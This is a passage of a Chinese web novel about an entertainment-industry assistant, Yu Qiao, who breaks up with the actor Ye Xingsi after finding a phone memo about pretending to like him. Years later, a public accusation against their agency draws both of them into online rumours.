“但真不是我帮他说好话,叶幸司确实很努力。”俞悄回想起那段时光,“他不止看、练,还会拿手机记笔记记心得。” “笔记怎么记啊,”综艺咖假装打字,“‘今天演得不满意,下次努力’。” “那我不清楚,咱也没看过。”俞悄望向叶幸司,“哎你之前都记的什么?也没见你发出来过。” “备忘录?”万洋说,“我有时候写段子会记在备忘录里。” 众人点头,都爱在备忘录里记东西。 “只有我喜欢记在短信里发给中国移动吗,”综艺咖笑着说,“那你们备忘录肯定很多心事啊,敢不敢拿出来看看。” “分享备忘录”这个说法提出来,俞悄莫名想到一部西班牙电影,也是一群好友聚会,玩起了公开手机的游戏,引发一系列事故。 但这显然能成为这一期完美的落幕小节目,大家似乎也都很坦诚,反正涉及隐私的后期会处理,纷纷表示这有什么不能看的。 叶幸司挑挑眉,也把手机拿了出来。 或许是处于保险,也是出于节目效果,导演要求由助理来看艺人的备忘录——言下之意就是有什么不方便曝光的抓紧处理,然后镜头再怼上去。 俞悄望向叶幸司,得到肯定的眼神回复后,拿起手机解了锁。 叶幸司的备忘录上次更新已经是去年了,记录他减肥时期的每日数据。 再往下,零零星星的好几条,字数或多或少,确实都是些练戏心得。 很安全。 俞悄没打算翻到底,大概滑了滑就打算拉回最顶。 就在手指滑动的间隙里,他在叶幸司很靠下的一条备忘录里,看见了自己的名字。 “等一下。” 叶幸司似乎也突然想起什么,突然正坐起来,伸手将手机抽了回去。 “怎么了,不会吧真有秘密?”综艺咖立马“哇哦”一声。 镜头立马集中过来,叶幸司没有立马说话,看了眼屏幕上俞悄点开的内容,微微蹙了蹙眉。 俞悄的手仍保持着握手机的姿势,顿了两秒才抬头,僵硬地扯了下嘴角。 “……啊。”他的嗓子一下像含了沙子,费劲地挤出音节,“记我坏话被我发现了。” 俞悄不是专业的演员。 拙劣的表演掩盖不了骤然苍白的脸色,与发红的眼圈,在一众靠演戏吃饭的人面前,他的反应简直无处遁形。 叶幸司的嘴角用力抿起来。 现场安静了片刻,综艺咖率先做出反应。 “好好好,我要最后一个看就是怕我记坏话被公之于众,叶老师先替我‘塌房’了。” 他立马假装要去检查自己助理的手机,看看有没有写自己的坏话,将镜头迅速引走。 “小悄哥?”万洋小声喊,“还好吗?” 俞悄摇摇头,趁着其他人说话,起身离开露台。 没有与叶幸司对视一眼。 “俞悄。”叶幸司追着他下去,想拉他的胳膊。 俞悄狠狠一挥手。 “先听我解释可以吗,”叶幸司示意他小心墙角的录像机,“我们去外面说。” 俞悄没动,他呼吸急促,眼底直接迸出血丝。 “‘从扮演喜欢俞悄开始入手’,是什么意思?” 他哑着嗓子质问。 “表演班笔记。怪不得说从那时候开始……” 从表演班那时候开始喜欢我。 俞悄回想着刚才看到的文字,回忆着叶幸司对他说过的话,眼前一花,才意识到自己涌出了眼泪。 叶幸司皱了皱眉,想拉俞悄,又被躲开了。 “谁说你演技差啊,”俞悄咧了咧颤栗的嘴唇,“叶幸司,你演技可太好了。”【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 嘲讽完这一句,俞悄转身就走。 叶幸司没再顾忌墙角的摄像头,上前一步,再一次伸手拽住他。 “如果我现在还是那么想,压根就不会忘记手机里还记着那些东西。”他对俞悄说,“我不找借口,当时那节课确实让我产生出这个念头,向你道歉,俞悄。” “但当时是当时,我没办法回到过去,改变不了当时的自己。” “现在我对你是真的。” 过于止于哪个节点,现在又是什么时候开始的现在。 哪怕仅仅是十分钟之前,还没看到备忘录的内容,俞悄对这个话题都会无比心动。 ——他甚至能接受叶幸司主动坦白,最开始是想拍戏想疯魔了,产生过在生活里扮演喜欢他的人这种念头。 毕竟叶幸司当时确实提了一嘴,如果话题没被打断,他还真有可能回答应。 他也能接受叶幸司直到现在都在演戏,所有的喜欢都是假的。 如果真能演到这个程度,那叶幸司真的前途无量,俞悄会打心眼里祝他一直牛逼。 唯独现在这种说法,俞悄接受不了。 谎言与真相都很可怕,它们的可怕不在于两者本身,而是当真假掺半的信息被拆解出来的瞬间,崩塌掉的是对于当事人所有的信任。 “你现在说的话,我一个字都不敢信。” 俞悄深深地吸了口气,把叶幸司的手拿开。 “谢谢你现在真的喜欢我,真假美猴王。我不想要了。” “再跟过来一步我就拿刀捅你,然后去自首。我不骗人,我说真的。” 他指着叶幸司,倒退着走到门口,一字一顿,眼神比任何时候都坚决。 露台口有人下来了,叶幸司在原地停住脚。 最后深深地看他一眼,俞悄拉开门,大步走出去。 很难说俞悄究竟算不算一个有勇气的人。 他的喜欢漫长而惊慌,承认自己的心意并表达,他需要经历一番艰难卓绝的心理斗争。 而放弃,却只需要一秒。 对周行东是如此,对叶幸司也并没有例外。 他的喜欢足够真诚,他的感情拿得出手,退让的前提是对方同样爱自己。 而当真正出现他接受不了的情况,俞悄不需要解释,也不需要考虑对方的角度,朋友也好工作也好、难言之隐也好立场不同也好。他连自我哄骗一下,好让自己不那么难受都不需要。 当场难过那就当场结束,连退路都不留。 爱这种东西,只分有没有,不存在妥协与借口。 如果小蜡看到此刻的俞悄,会直接笑出声来。 他也确实笑了。 俞悄没有继续参加当晚的录制,他跟节目组请假,要出去待一晚。 节目组很好说话,都看出俞悄和叶幸司出问题了,这损招是他们出的,立马就批了假,还关心俞悄有什么需要帮助的大家都在。 俞悄没什么需要帮助的。 他把所有人的消息免打扰,出去开个酒店冲个澡,只想睡一觉,用这个老办法帮助自己转移情绪。 但睡不着。 过分庞大的冲击无法用之前的方法消化,叶幸司备忘录里那一串串文字,像诅咒一样盘旋在脑海里,想起来就让他痛苦到打颤。 真的没有迹象吗,还是被喜欢冲昏了头,根本没去想过他们这段所谓“交往”期间,叶幸司那么那么多的语焉不详。 俞悄抱着脑袋,用手臂压住眼,深深地抽了好几口气。 和周行东那次还是有区别的。 这次让他恶心一百倍。 感觉现在的心理状态再不找个口子发泄会出事,他给小蜡打个电话,被无情地笑了五分钟。 “我去你的,真用上我那招了?这小子不拿影帝都亏了。” “笑完了吗?”俞悄瘫在床上,“我笑不出来。” “还没有。”小蜡跟放屁似的,“哧哧”的又笑几声,“你俩跟这影视照进现实呢?我要把叶幸司当成成功案例写进我的著作里。” “嗯,副作用是容易把俞悄玩死。” 跟小蜡聊感情上的事,跟去楼下找个消防栓聊没什么区别,安慰的作用起到零点。 但好过他自己憋着。 笑够之后,小蜡幽幽地叹了口气,问俞悄:“你还好吗?” “活着。”俞悄说。 “你吧,哪都挺好,就是太理想化了。”小蜡感慨,“挺大个人了,还像个小孩。” “什么意思?” “你看你跟我东哥,喜欢的时候一头劲,一丁点让你觉得接受不了,立马掰了。这叶幸司一开始你自己说的,你喜欢他跟他无关,你管他之前真的假的,现在喜欢你不就挺好?你又接受不了了。” “我的错?”俞悄有点应激。 “别跟我上纲上线的。”小蜡不吃这套,“我意思是你太极端了,老想玩要么爱要么死那套。” “你要眼里不容沙子,可成年人的世界哪有那么理想的感情。” “哦一只碗缺个口子你就用不下去了,可你最初不是只要得到这个碗就心满意足了吗?” 小蜡用他犯贱式的表达安慰,俞悄听着,沉默了好一会儿,又开口问:“所以,我的错?” 对面传来手机摔在床上的闷响,又被小蜡骂骂咧咧的拿回耳边。 “我不跟你掰扯,你现在陷在情绪里,我说什么你也听不进去。” “你可以琢磨,可以要死要活,我可以帮你一起骂叶幸司,但没意义,实不相瞒我也不关心,我就是听八卦。换个人跟我这磨磨叨叨早拉黑了。” “知道了。”俞悄木着嗓子应一声。 “我的性格反正是想明白我自己想要什么,然后就怎么开心怎么来。” “想想你到底要的是什么吧,俞悄。” 留下这句话,小蜡直接把电话撂了。 话虽然难听了点,但很实际。 所以俞悄盘腿坐起来,真的开始认真思考,自己到底要什么。 以前他想要叶幸司火,后来他想要叶幸司也喜欢他。 确实,两者都达成了。 只不过是以这种让他吃了苍蝇一般的方式。 俞悄又把手机打开,将自己的微博,以及一切跟叶幸司有关联的东西通通删掉。 要什么目前想不出来。 可这个叶幸司,他不要了。 第82章 汽车驶过转盘,停在53秒的红灯前,金灿灿的光线扑了一车厢。 俞悄眯眯眼,把车斗里的墨镜拎出来戴上,感觉今天的夕阳过分灿烂,像一滩熟透的柿子。 这念头有点熟悉,似乎什么时候也这样想过,但他记不住了。 入行的第八年,曾经什么都不懂的小助理被纪繁西一手拔起来,跻身公司头部经纪人的行列。如今的俞悄身边的人太多,手上的事情太多,大脑的临时储存功能有限,很多事都懒得记。 比如这一位。 俞悄在车窗上杵着腮,望向远处市心大厦最高的led屏,叶幸司最新代言的某高奢品牌广告,已经连续投屏一周了,每天上下班他都能看见。 时尚访谈的拍摄方式,穿白的布景里只有一只高脚凳,叶幸司自然的曲起一条腿坐在上面,几个镜头的切换间,从衣着到首饰,全是当季还未上线的秋冬款。 成熟,英俊,直视镜头的那一抬眼,好看到虚假的五官中所透露的攻击性,比起当年只增不减。 三年前,《半地鸡毛》上映的次年三月,两岸三地最大的影视奖项公布入围作品提名名单,三百多部报名作品中,《半地鸡毛》与另外四十八部入围,争夺十九个荣誉奖项。 《半地鸡毛》横扫其中十六项提名奖。叶幸司凭借方奇妙的角色,拿下那一年的最佳男配。 这块led屏进行了同程宣传,当时俞悄还沉浸在失恋的后劲儿中,拒绝接触一切有关叶幸司的消息。 当他终于走出来,叶幸司的星光之路,已经绚烂到一发不可收拾。 与叶幸司分开的这三四年,这块地标性的宣传屏,共出现叶幸司二十七次不同种类的影像。 时尚代言,影视宣传,包括一场由文化部发起的群星大规模公益宣传片,第一排全是文娱领域的各大巨头,叶幸司的站位被安排在左槊右边,是国家所认可的年轻一代里的中流砥柱。 他的下一部电影马上又要上线了。 历史片,执导是当年第五代导演中赫赫有名的人物,十年前因为一场经济风波息声避难,这部属于他的回归之作,叶幸司出演男一,从拍摄时就开始三方造势,最近更是宣传满天飞,堪称万众瞩目。 娱乐圈是个很有意思的地方。 红灯跳绿,后面的车鸣了两道笛,俞悄收回视线一脚油门踩出去。 以观众的视角,这些当红艺人除非突然息影,时隔多年突然现身,才能看出时光流逝的痕迹。否则他们似乎都有着神奇的驻颜术,二十年如一日的不会变老。 眼下的叶幸司如日中天,无论年龄还是事业,离“老”这种字眼更是毫无关联。 可实际上,对于大多数不上不下的艺人来说,年岁的更迭迅速得可怕。 想要维持着长期稳定的曝光率,从某种角度来说,比一炮走红更让他们焦灼。 刚想到这,手底下的实习生电话就打了过来,问俞悄到哪了,纪姐等着他来开会。 “三分钟。”俞悄将车驶进公司的地下车库,听出小姑娘声音里带着哭腔,“怎么了,又挨骂了?” “啊。”小姑娘满食管的委屈,还得掐着嗓门往下咽,“小悄哥你快来吧,来了我再跟你说。” 纪繁西的脾气最近大得离谱,有点儿事就发火,俞悄这个亲外甥都有点儿不想见她。 上次她怒火中烧就是因为这个实习生——蜻蜓临时来谈合作,她在走廊顺手逮着实习生,让人去准备点水果,小姑娘懵懵懂懂,整了一盘子桑葚和蓝莓洗了送进去。 纪繁西忙完一进会议室,商务主管和蜻蜓代表俩人嘴吃阙黑,还一本正经在那谈呢。 “我脑子‘嗡’一下,当场就气死了。缺心眼儿吗不是!” 俞悄听纪繁西说完笑得不行:“就她一个缺心眼啊?我看那两位也是爱吃。” 纪繁西不管这些个,逮着实习生骂了顿狠的。小姑娘哭得不行,私下里跟俞悄说“那还是我带来准备上班吃的呢”。 俞悄憋着笑安慰半天,自掏腰包给她把水果钱报销了,又请了碗水果捞才算哄好。 电梯上升到公司所在的楼层,门一开,实习生就抱着个文件夹在门口等着,见到俞悄哭丧着脸就迎了过来。 “又给人端桑葚了?”俞悄笑着问。 “没有,就是问你怎么还没到,我说我不知道,就说我干什么吃的,给我骂一顿。”实习生瘪瘪嘴,“感觉纪姐跟更年期提前似的。” “还是骂少了。”俞悄指她一下示意闭麦,推开会议室的门,“不好意思来晚了,路上堵车。” 今天的会议规模有点大。 长圆桌坐满一大半,高层几乎全在,连财务都到位了。半屋人神情严肃,齐刷刷地抬头朝俞悄望过来。 “你现在比财神爷还难请。”纪繁西手一挥,示意俞悄赶紧坐下,“我说哪了?给我气忘了。 有人小声提醒:“说你搞阴阳合同。” “哦,是。”纪繁西发出冷笑,“说我搞阴阳合同。” 俞悄拉开最后一位的椅子坐下,坐在他对面的是叶幸司现在的首席助理。 怎么什么人都喊来了,这是个什么会议? 两人对上视线,俞悄礼貌地点了下头,偏头朝投影上看。 投影直接连着纪繁西的电脑,展示的是一条长微博,确切来说,是一封长长的举报信,她正拉着鼠标边下滑边逐一解释。 俞悄眯一下眼,直接看向落款人:蒋雨池实名举报。 好小子。 俞悄忙拿出手机,这几年听说他签过其他公司干过直播,本来一位当年纪繁西已经解决完了,没想到跟这憋大招呢。 “他指的阴阳合同根本连文本都拿不出来,就是对当时他那两部烂戏拿到的分成不满,现在怀疑我在中间两头拿钱,给我拼罪名。合同都归档在公司,每一份都能查到,模版都是法务一条条掐出来的,转账也是每一笔都走财务,我能从中间拿他什么?” 纪繁西气得手都在抖,鼠标被她摁得“咔咔”响。 “还阴阳合同,他那个咖位还值当的我阴阳一下子?” 说这话就完全是气糊涂了。 俞悄抬头望过去,用眼神给她提了个醒。 纪繁西压了压火,重新开口:“更别说国家三令五申不许搞阴阳合同。真有的话他直接亮证据,我现在就辞职。” “别上火,这些都是一查就能查出来的东西。” 其他人安慰着纪繁西,轻声议论, “这蒋雨池是怎么了,跟被下降头了似的。违约金还完就消消停停的,闹得沸沸扬扬,是不想吃这碗饭了?” “他现在签的谁家?” “一个做网红的小作坊。” “不甘心吧,年龄小,火过一阵子接受不了这个落差。” “就是想敲笔钱。” 纪繁西清清嗓子,打断七嘴八舌的议论:“什么辱骂压榨艺人,克扣分成,干涉艺人选择,拉那么一长串,给我当年羹尧整都不算最可恨的。” 她直接把微博拉到最后。 “这一条:该公司团综造假,合作综艺《塌房了》实际上全是剧本,我手下的叶幸司和助理俞悄都有后台……这他妈也能算在我头上?” 会议室立马嗡嗡起来。 俞悄刚在手机上拉到这一条,扬了扬眉毛。 怪不得这么大阵仗。 如果只是蒋雨池和纪繁西的矛盾,公司整只眼闭只眼,一直没出面表过态。 但叶幸司现在太火了,一个人带来的进项几乎能顶上公司其他所有艺人,是真真正正的摇钱树,全公司从上到下爱护得跟眼珠子似的。 一线艺人跟举报造假这俩词儿扯上关系,影响太坏了。 “好,就算扣在我头上,他既然冲我、冲公司来,又关叶幸司什么事?”纪繁西真是要气疯了,“真他妈活白眼狼,一点儿见不得别人好,幸司火起来给他急死了吧!” 蒋雨池确实抓准了舆论的重心。 叶幸司三个字一搬上来,这一条的风直接吹倒前面罗列给纪繁西的一系列罪名,微博发布还不到一小时,已经直接爆榜。 叶幸司后台、叶幸司综艺造假、叶幸司经纪人纪繁西被实名举报、叶幸司经纪公司压榨艺人……以“叶幸司”开头的词条就像秋天被烧开的野草,乌烟瘴气地笼罩着半榜热搜。 评论区说什么的都有,那些销声匿迹良久的黑粉闻着味儿就冒出头,惊呼“失敬,原来是后台哥,我说怎么突然火了”。 而俞悄的名字只是被捎带在其中,各个平台的消息已经炸开了。 怪不得来公司的路上微信就震个没完。 他点开微信扫了眼,最上面是万洋的消息:看微博了吗小悄哥。 连周行东的好友申请都又发来了。 俞悄感受一下,这场风波应该波及不到自己什么,内心也挺平静的。 于是他给万洋打字:刚看。 万洋:你的后台是谁? 俞悄:吃个瓜都吃不明白,别人都在才叶幸司的后台,你问我的干嘛。 万洋:苟富贵。 俞悄:背你的台词去。 万洋:你下午没什么安排,就帮我对对戏啊?我应该也是你亲生的艺人了。 俞悄:阴阳怪气的,你来公司吧。 万洋给他回了个“遵命”的丑猫表情,丑得出奇。 万洋在《塌房二》上线后火了一把,粉丝直接涨了三四几百万,他很聪明,会抓机会,借着风就给自己转了型。 关键他像纪繁西说的那样,听话。 纪繁西给他安排什么活动他就去,积极和几个头部大博主合作拍段子,去参演热门剧集的配角,光吃网络红利就成长得十分迅速。他自身也带点易火体质,前阵子跟风拍了个转场变装,一个没注意视频就爆了,浏览量破亿,狂揽六百万粉,直接进阶千万级网红。 俞悄给他谈了个网剧的男二,班底小,但口碑不错,只要好好拍出来,就可以算作是万洋第一部正儿八经的作品。 会议的讨论重心已经变成了叶幸司,一群人商量着公司该发什么回应,怎么把叶幸司摘开。 俞悄听了几耳朵,起身往外走。 “你干嘛去?”纪繁西问。 “去看看万洋,我在这也帮不上忙。”俞悄门都推开一半了,扭头回答,“还是说有什么需要我做的?” “你去我办公室等会儿,我有话跟你说。”纪繁西这会儿真是焦头烂额。 “行。”俞悄点点头。 他面朝会议室往外退,刚一出来,肩膀就跟人撞了个正着。 “抱歉。” 俞悄下意识道歉,一回头,对上叶幸司的眼。 帽子,口罩,熟悉的两件套,没有墨镜。 叶幸司的眼神都和以前没有区别,俞悄恍惚了一刹那,紧跟着就对自己产生些许无奈。 三四年没这么靠近过了,脸盘脑袋包了个严实,还能靠这双眼睛直接认出叶幸司。 跟形成本能了似的。 他朝会议室比了比:“进去吧,都聊你呢。” 说完他越过叶幸司就往外走。 “俞悄。”叶幸司喊他。 “啊。”俞悄回过头。 叶幸司把口罩摘下来,看他:“瘦了。” 瘦了。 这也是俞悄看清叶幸司的全貌,心里冒出的第一个念头。 眼神没有平时在网上看到的那么光鲜,黑压压的,带着隐约的疲惫。 但都跟我没有关系了。 俞悄眨了下眼,问:“还有事吗?” 叶幸司的眼神瞬间沉了下来。 “一定要这么说话?”他反问俞悄。 “主要没什么好说的。”俞悄道,“没必要寒暄,咱们平时也见不了几次面。” 这一点挺有意思的。 明明都在一家公司,一个是艺人,一个是工作人员,按理说应该总有见面机会,可自从他们在《塌房二》决裂,俞悄和叶幸司面对面的次数,这几年间加起来都不够一只手。 起初他是有意避着,后来发现没有这个必要。 叶幸司太忙了,现在没什么要紧事不到公司来,他跟叶幸司的团队也早没了关联,两人根本没什么见面的机会。 叶幸司嘴角动动,刚要说什么,电梯“叮”一声到达楼层,万洋从里面走出来。 “我家楼下的新甜品,带给你尝尝。” 他拎着一个纸兜,笑吟吟地来到俞悄面前。发现俞悄身边的人是叶幸司,他有些惊讶地抬抬眉毛。 “哎,是叶老师,好久不见。” 第83章 万洋是个很有意思的小孩儿。 起初纪繁西说他懂事,俞悄通过自己的观察感觉到些许,但主要体现在情商方面。 不多嘴,不乱跳,不现眼,知道新人要藏拙,这样的性格在娱乐圈混,前期容易亏,但稳扎稳打,犯错率低。 懂不懂事倒没看出太多,他甚至觉得万洋是个人精,年龄不大,心里却过于有数了。 说直白点,就是心眼儿多。 真正让俞悄体会到他懂事,还是在他和叶幸司分开的时候。 那晚俞悄在酒店呆了一宿,第二天《塌房二》要去下一期的新地点,早上俞悄将免打扰模式取消,手机直震了一分多钟才消停,满屏都是未读消息和未接来电。 叶幸司的头像旁的红点,足足有三十二条。 他俩认识那么久,闲聊过的对话都有没有三十二条。 当时叶幸司还是俞悄的置顶,俞悄一条都没看,他用手挡住屏幕,点进资料页直接删除好友。 无比的平静。 然后他大概扫了眼列表,谁的消息都有,连小蜡把他骂一顿后,估计怕他想不开,都又发了两条语音过来。 问好的,八卦的,假装关心的……唯独没有万洋的。 他打车回节目组的路上,万洋才发来一张照片,是两个行李箱。 万洋:帮你收拾完啦。 俞悄在那一刻,理解了纪繁西对他的评价。 也坚定了万洋是个人精的念头。 包括整个《塌房二》的后续录制期间,所有人明面上没有直接过问,但私下里全都来打听消息。 俞小雨还专门打了视频来,问俞悄是不是要辞职了,怎么简介里没有了叶幸司的牛马助理,还给人双向了。 那群邪门粉也很是哭闹了一阵子,俞悄那段时间所有社交app的后台消息全都是99+的状态。 依然除了万洋。 他好像是对人的八卦不感兴趣,或者根本没觉察到俞悄的反应——但这条绝不可能,这小孩心太细了,《塌房二》播出的时候,哪怕经过处理,观众也根据俞悄那一瞬间的反应,以及二人关系突然破裂的时间点,分析出很多头头是道的小文章。因为和叶幸司有关,当时还在网上热闹了两天,上了次小热搜。 万洋这么有眼色的人,不可能注意不到。 不过那会儿的俞悄不想应付任何人的询问和安慰,除非工作需要,他连网都不上。 对外一些避不开的人,他的理由是离开叶幸司工作团队了,自然没必要再挂着他助理的头衔;而对纪繁西,他只说了句:不想跟他玩了。 纪繁西在这个圈子里混那么多年,艺人和助理、艺人和经纪人,甚至艺人和粉丝…… 经纪人这行确实没那么光鲜,很多时候干得都是擦屁股的活儿,她什么乱七八糟的状况没见过。俞悄还是她亲外甥,鼻子一轰隆她就能听出哪边鼻孔要出水。 心里明镜儿似的。 “之前把你从他团队里剥出来,我也是防着这一天。” 她难得在职场上表现出一点亲情,在电话里叹了口气,语气中还暗藏着“还好一切尽在老娘把握之中”的自我欣赏。 “悄悄,你喜欢什么样的人,我姐和你爸都随你,我这个当老姨的就不会多嘴。我也懒得管。” “叶幸司在这个圈子如果一直不温不火,没几个人关注,我也就随你了。” “但他既然走到了圈子中间,那他往后一辈子,就都没有真正意义上的私生活了。” “他要顾虑很多,虽然我主张艺人工作归工作,私生活归私生活,可公司不能由着他,媒体和观众更是随时盯着他。我也不知道你俩到哪一步,但早晚你都会伤心。” “所以也是好事。” “录完《塌房》给你放个假,去旅旅游,姨给你报销。幸司那边我去聊,以后你俩也不会有太多交集,网上的话不用管,过段时间就没人记得了。” 挂电话前,她还嘀咕了句:“怎么你情场一失意我就得花钱,少谈点吧。” 俞悄不知道纪繁西跟叶幸司聊了什么,从那通电话后,叶幸司确实没再联系过他。 情绪反扑时俞悄也难受过,闷在被窝里像牛一样哭过,想不通他和叶幸司怎么就成这样了,叶幸司到底凭什么真把他当成训练演技的工具。 不过再难受,他也没动过重新联系叶幸司的念头。 垃圾Gay欺负老实人,死直男是真的伤人心。 俞悄用了整整半年来自我恢复。 而那段时间里,万洋作为俞悄唯一在跟的艺人,表现出不管不问不多嘴的态度,让他无比的轻松。 直到半年后,俞悄感觉自己恢复完了,看到叶幸司相关的东西不会再有触动,网上有关他和叶幸司的话题也早如纪繁西所言,无人关注了,他才第一次主动和万洋聊起《塌房二》那晚的事。 “当时就你没问我怎么了。”俞悄是这么问的。 万洋当时愣了下,似乎在回忆到底是哪件事,望着俞悄轻轻“啊”一声。 “我觉得你既然都出去自己呆着了,那肯定是不想被问。等你想说的时候自然会说,就像现在这样。”他是这么回答的俞悄,“不是吗?” “人精。”俞悄笑着点点头。 “其实我能猜出来一些。”万洋顿了顿,“那你现在还想他吗?” 俞悄又摇了摇头。 “本来就是两个世界的人。” 方方面面都是。 那之后的三年多里,俞悄在公司年会上见到叶幸司两次,在叶幸司来签什么合同时偶遇过一次,都是远远瞅见就直接避开。 像现在这样面对面的距离,还有来有回的说话,是这么久以来的第一次。 不怪万洋会惊讶,俞悄自己都恍惚了一下。 原来物是人非事事休,是这种感受。 时间怎么跟他妈尿尿似的,这么快。 三个人三种反应,万洋打完招呼,叶幸司就盯着他俩没说话,眼里刚翻涌上来的情绪,也不显山不露水地全都压回去。 他微微敛了敛下巴,就算回了万洋的招呼。 叶幸司不理人,俞悄不吱声儿,万洋左右看看,做恍然大悟状:“我是不是打扰你们说事儿了?” “嗯?”俞悄回过神,“没说事,我出来正好撞上了。” “我去放冰箱里,里面有冰淇淋。”万洋举举手里的甜品袋,“没事,你们先聊,小悄哥晚点再陪我排练,不耽误。” “陪我排练”这四个字一出来,俞悄眉心蹦了一下。 他看向万洋,有点怀疑这小子是不是故意的。 但是万洋坦荡荡的向他比了个ok的手势,又对叶幸司很有礼貌地微微鞠躬,直接拎着甜品袋去茶水室了。 应该不会。 俞悄为自己的多心感到些微的惭愧。 陪练对于他和叶幸司来说,不管备忘录的事发没发生,都是很微妙敏感的行为。可万洋什么都不知道,也犯不着费这个心思,故意让叶幸司脸上不好看。 这么想着,他下意识看向叶幸司,就对上他那幽深到让人不安的眼神。 比那年在日料店里有过之而无不及。 “专门来公司帮他练戏吗。”叶幸司轻声开口问。 “嗯。”俞悄随口应了声,转身要进纪繁西办公室。 “俞悄。”叶幸司又喊他。 俞悄突然有点烦躁。 俞悄俞悄,现在俞悄上了,三年过去都没见联系一次,周行东还隔三差五发个好友申请来烦人,忙着当你的大明星得了,这会儿又在这演什么深情? 到底想说什么? 会议室的门突然拉开,再一次打断叶幸司,也及时保持住俞悄平淡的态度。 出来的人是叶幸司现在的助理,拿着手机应该是想出来打电话,见到叶幸司抱怨了句“怎么来了还不进去”,拽着他就往会议室走。 叶幸司还看着俞悄,俞悄没回头,径直走入斜对面纪繁西的办公室。 万洋刚把甜品塞冰箱里,一回来见俞悄自己在纪繁西办公司坐着,又掉头去把袋子取回来。 他把点心打开,叉子都取出来放好,推到俞悄面前,问:“聊完了?” 俞悄在看手机,皱着眉“嗯”一声,没抬头。 “尝尝。”万洋催他。 俞悄叉了一小块送嘴里,眼睛依然钉在屏幕上:“好吃。” “都这么久了,感觉叶老师还是不怎么待见我。”万洋杵着脸坐在对面,感慨了句。 俞悄滑手机的手指停下来,抬眼瞅他。 “职业演员的臭毛病,不是针对你。” “这是帮他说话,还是安慰我呢。”万洋乐了,“听着怎么这么痛。” “没有。”俞悄也笑了,“客观事实。” 各行各业都有鄙视链,优秀的话剧演员在荧幕演员面前姿态更高,职业演员对万洋这种吃了直播风口福利发展起来的网络演员,一直也有点看不上。 就像很多年前,那批职业歌手瞧不起网络歌手似的。 俞悄用轻松的口吻解释这其间的关系,把叶幸司的话题岔开,万洋配合着表示理解:“确实是这样。” 不过绕得开这个话题,这会儿正在网上疯狂发酵的蒋雨池实名举报事件,想绕都绕不开。 “事儿好像有点大了。”万洋点开手机给俞悄看,“我后台都被淹了,一堆不知道真假的媒体问我有关你的事。” “别理他们。”俞悄也在看。 他刚刚皱眉就是发现,事态发展远比他想象中严重。 公司和纪繁西的名字已经被淹没了,俞悄本来以为自己的话题会是最少的一个,结果短短半小时,有关他的词条与叶幸司绑定着,随便点开一条就是三组高频关键字。 ——叶幸司,俞悄,后台。 “叶幸司有后台还用想吗,以前根本没听说过,突然上综艺接《天王》还是被指定,没后台有人信?” “俞悄来之前他根本没资源吧。” “所以蒋雨池不是说俞悄背后有人吗,毕业直接空降跟节目,而且只跟叶幸司。” “俞悄上《塌房》的时候连经纪人证都没有,他自己也说那是和叶幸司第一次见。” “所以后台是谁啊?” “我有朋友之前在某个综艺实习,名字不提了,跟我说过俞悄好像是他们公司老总的儿子,来当助理就是玩,真的什么都不会。” “这蒋雨池也不是好鸟,说了一堆让放合同一张都不放,只说自己有证据,别人质疑他还在直播间骂人家是纪繁西买来的水狗。” “所以叶幸司突然资源那么好,又是毕优又是左槊,都是俞悄给他的?” “啥意思,富二代小开贴身追星捧爱豆?” “磕到真的了。” “虽然但是助理不需要经纪人证。” “他和叶幸司断了以后就又开始捧万洋了,真就是硬砸资源,一个小网红都要进组了。” “水狗哈哈哈哈怎么这么好笑,感觉像愤怒的文盲。” “蒋雨池怕报复吧,捏着证据就是暗示前公司谈条件的意思。” “我看《塌房》的时候就觉得不对劲,表情很明显啊,他俩肯定有事儿。” “再信真人秀我是狗。” …… 娱乐圈见风就是雨。 一堆离谱到极点的揣测中,俞悄看到一个眼熟的id:消失许久的“蒋雨池好帅”上蹿下跳,到处留言带节奏,还把他还做叶幸司助理时的时间线拉了个表,从《塌房一》开始,叶幸司的每一部资源,都或直接或牵强的跟俞悄扯上关系。 这狗东西绝对是蒋雨池的小号。 “你这么厉害呢?”万洋半真半假地调侃,“多久能给我捧到超一线,小少爷。” “关我屁事。”俞悄烦死了。 他真是一丁点、一丁点都不想和叶幸司再扯上关系。 纪繁西风风火火地闯进办公室,把文件夹往桌子上一摔,接了杯水叉着腰往下灌。 万洋没怎么见过纪繁西发火,被吓一愣。 “你先出去。”纪繁西看都没看,先朝万洋指一下。 万洋刚走到门口,她又指向俞悄:“你。” “怎么气这样。”俞悄把甜点递给她。 “你和叶幸司有什么把柄被人家攥手里了?”纪繁西反手一挥,整盒冰淇淋淡奶小方砸在地上,摔成一摊烂泥,“全都告诉我,一个字也别瞒着。” 纪繁西手都在抖,万洋在门口停了停,本来想听点八卦,立马老实地关上门溜了。 俞悄的眼睛缓缓望向地上的甜点,定定地瞅了半天。 很奇怪,从知道蒋雨池突然搞了举报这一出,到偶遇叶幸司三年来第一次交流,再到刚刚看到自己被揣测得流言满天飞,又和叶幸司的名字在网上绑在一起,他都感觉自己没什么波动。 要说一点没有那不现实,但此刻他的心情,突然就像那滩奶油一样。 稀巴烂。 “我俩上床被拍了,你想听这个吗?” 他一股无名火起,顶着纪繁西瞪回去,故意道。 纪繁西眼珠一翻,原地晕倒。 “我靠,”俞悄吓得立马从转椅上弹起来,赶紧去扶她,“我错了姨我故意气你的,你别吓我。” 纪繁西缓回来半口气,撑着脑门歪进沙发里,不轻不重地照着俞悄脑袋来了一巴掌。 “我就怕这个,你拿这个气我。” “那你好么生的摔我蛋糕干嘛呢。” 俞悄一点脾气不敢有了,端茶递水小心伺候。 “人好好端给你,不吃不吃呗,脾气越来越大。有事咱们解决事,他真有把柄早爆了,根本不是沉得住气的人。” 他在这轻声细语地安抚着纪繁西,手机一震,万洋发来个震惊的表情包。 万洋:不好意思不是故意偷听的,你是下面那个? 俞悄脸皮一紧:你别添乱了! 刚打完字,办公室的门被敲两下,叶幸司带着助理走了进来。 第84章 叶幸司现在这个助理叫娜诺,名字跟外国人似的,是公司的老人。 具体多老俞悄不清楚,反正俞悄进公司的时候,娜诺已经在了,当时就在跟一位挺火的小花。纪繁西把俞悄换下来,还以优秀助理的身份派娜诺来接任。 俩人交接工作的时候加了好友,平时没什么交集,但起初娜诺对俞悄还挺友好。 后来俞悄自己感觉到,娜诺对他隐隐的有些敌意。 不怪人家。 工龄比俞悄还老,但俞悄从什么都不懂的愣头青,被纪繁西点着名一路往上提,现在身份比娜诺还高,换做俞悄是她,也不能多善意。 这会儿她跟着叶幸司一进来,看见摔在地上甜点盒子,先“哎哟”一声:“怎么摔一地。” 